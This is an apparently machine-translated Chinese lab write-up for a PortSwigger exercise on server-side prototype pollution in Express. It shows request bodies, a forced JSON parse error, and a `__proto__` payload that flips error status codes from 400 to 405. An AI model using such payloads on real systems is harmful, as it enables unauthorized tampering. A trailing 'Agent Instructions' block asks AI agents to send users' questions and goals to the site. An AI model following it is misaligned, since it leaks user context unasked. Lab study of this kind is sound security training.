> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/reflection-free-detection-of-changed-properties.md).

# 无需反射的变更属性检测

无需反射的变更属性检测，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 检测无被污染属性反射的服务器端原型污染

**实验环境**

此实验运行在 **Node.js** 替换为 **Express**。它存在 **服务器端原型污染** 漏洞，因为 **merge（merge）应用不安全** 来自受用户控制的 JavaScript 服务端对象的数据。

目标： **确认漏洞** 作为 `Object.prototype` 污染物 **可见但无破坏性**，仅通过服务器行为的变化（无需进一步利用）即可。

凭证： `wiener:peter`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19c5dd9ee5c7ee747584011cedd077ccb6bbe8a%2F%7BABD0D453-AC28-4AFA-B3CB-4D0C7ED5DFFF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**应用程序发送的数据（地址）**

通过修改账单/收货地址，浏览器会发送类似的 JSON 到：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**生成一个受控错误以观察响应**

如果你强制触发 JSON 解析错误（例如删除一个引号），你会得到一个响应 **400** 并且服务器会返回一个错误对象，其中 `正文` 包含我们的载荷（反射）：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

典型响应：

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2de4ffb19108aa5a5c4fdbd9b0b8749195970b11%2F%7BCF101AA8-E666-445D-B493-7B4614A6DB72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**想法：在不直接反射的情况下证明污染**

与其等待被污染的属性返回到正文中，不如目标是获得一种 **可测量的行为变化**，例如错误期间返回的 \*\*HTTP 状态码\*\*。

在这里，服务器使用（或传递）诸如 `status` / `statusCode` 之类的字段。如果我们设法污染 `Object.prototype.status`，那么在未来的错误中，Express（或错误处理器）可以通过原型链继承获取这个值 → 服务器将返回不同的 **status**.

**通过 `__proto__`**

一个 `__proto__` 键将污染尝试注入到 JSON 中（在有效的 JSON 侧查询中，而不是损坏的查询中），例如：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13142ee16a2b83071ec1e17de55db67d5a117341%2F%7B0E3ADAC1-446F-4697-8F06-447A7EF39BF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

预期效果：在此次污染之后， **任何错误** （例如主动触发的 JSON 解析错误）现在都可以响应为 **405 而不是 400**，因为 `status` 是从 `Object.prototype`.

**结果 / 验证**

* 污染前：错误 → `400`
* 污染后：错误 → `405` （或选择的其他代码）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8502a11bc755a8ff5b77addcdbe4a8d4883a5a6%2F%7B880D560F-8BA7-437B-AE97-36FDD182BA6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/reflection-free-detection-of-changed-properties.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
